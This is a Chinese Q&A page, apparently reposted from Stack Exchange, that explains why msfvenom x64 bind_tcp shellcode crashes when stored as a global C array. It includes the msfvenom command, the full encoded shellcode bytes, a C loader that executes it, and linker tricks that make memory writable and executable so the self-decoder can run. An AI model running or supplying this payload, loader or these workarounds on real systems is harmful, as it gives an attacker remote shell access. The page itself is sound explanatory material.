全局变量定义Msfvenom bind_tcp Shellcode无法运行的原因及解决方法
问题:全局变量定义的Shellcode触发段错误,局部变量却正常运行?
问题背景
用msfvenom生成x64绑定TCP的shellcode:
msfvenom -p linux/x64/shell/bind_tcp -b "\x00" -f c RHOST=172.31.31.179 LPORT=1234
将生成的shellcode定义为全局变量并放到.text子段的C代码:
#include <stdio.h> #include <string.h> __attribute__((section(".text#"))) unsigned char code[] = "\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05\xef" "\xff\xff\xff\x48\xbb\xce\xce\x52\xea\xc0\xc8\xf1\x54\x48" "\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xa4\xe7\x0a" "\x73\xaa\xca\xae\x3e\xcf\x90\x5d\xef\x88\x5f\xa3\x93\xca" "\xea\x50\xea\xc4\x1a\xb9\xdd\x28\xa4\x42\xb0\xaa\xf9\xa9" "\x5b\xcb\x97\x38\xd8\x98\xc7\xf4\x1c\x58\xa4\x79\xb2\xcf" "\xcd\xa1\x02\x91\xa4\x5b\xb2\x59\x7e\xe1\x1c\x47\x18\x1f" "\xdb\x09\xa2\xd3\x15\x94\x7c\x55\xe5\xc5\x80\x67\x1c\x59" "\x91\x5d\xef\x3f\x2e\xf1\x54"; int main() { printf("Shellcode Length %d\n", strlen(code)); int (*ret)() = (int(*)())code; ret(); }
用以下命令编译:
gcc -z execstack -fno-stack-protector -o shellCode shellCode.c
运行./shellCode触发段错误,但将code数组移到main函数内作为局部变量(移除__attribute__)后,代码可正常运行,能被msfconsole成功利用。
对比两个版本的ELF文件,发现核心差异:
- 全局变量版本:shellcode位于.text下的
code子段,反汇编出现大量(bad)指令,执行时崩溃 - 局部变量版本:shellcode被复制到栈上,反汇编正常,执行无问题
原因分析
这不是msfvenom的强制要求,而是shellcode的编码特性导致的:
你生成shellcode时指定了-b "\x00"(过滤空字节),msfvenom会自动使用异或编码对shellcode加密,生成的shellcode开头包含一个解码循环——它会在原地修改自身内存,把加密的字节解码成原始可执行指令。
- 全局变量版本:虽然把
code放到了.text段,但默认情况下,.text段(包括其子段)是只读的(ELF段权限为RX,无W)。当解码循环尝试修改shellcode自身内存时,会触发内存访问错误(段错误)。 - 局部变量版本:shellcode存储在栈上,你用
-z execstack开启了栈的可执行权限,同时栈本身是可写的(权限RWX),所以解码循环可以正常修改自身,完成解码后执行原始shellcode。
绕过方法
要让全局变量版本正常运行,核心是让shellcode所在的内存区域同时具备可写+可执行权限,有几种可行方案:
1. 修改段属性,让.text子段可写
修改__attribute__指定段属性,配合链接器参数修改子段权限:
__attribute__((section(".text#"), used, aligned(16))) unsigned char code[] = "..."; // 你的shellcode内容
编译时添加链接器参数:
gcc -z execstack -fno-stack-protector -Wl,--omagic -o shellCode shellCode.c
--omagic会让.text段同时具备读写执行权限,是最简单的快速修改方式。
2. 将shellcode放到自定义的可写可执行段
定义一个自定义段,比如.shellcode,并通过链接器参数指定其权限:
__attribute__((section(".shellcode"), used)) unsigned char code[] = "..."; // 你的shellcode内容
编译时使用链接器参数指定段权限:
gcc -z execstack -fno-stack-protector -Wl,-z,wxneeded -o shellCode shellCode.c
或者编写ld脚本shellcode.ld精准控制:
SECTIONS { .shellcode : { *(.shellcode) } } PHDRS { shellcode PT_LOAD FLAGS(7); /* 7 = R+W+X */ }
然后编译:
gcc -z execstack -fno-stack-protector -T shellcode.ld -o shellCode shellCode.c
3. 关闭shellcode编码(如果允许空字节)
如果你的场景不需要过滤空字节(-b "\x00"),可以直接生成无编码的shellcode:
msfvenom -p linux/x64/shell/bind_tcp -f c RHOST=172.31.31.179 LPORT=1234
这种shellcode不需要原地解码,直接放在只读的.text段也能正常执行,因为它不会修改自身内存。
内容的提问来源于stack exchange,提问作者heturing
相关产品推荐
相关产品推荐

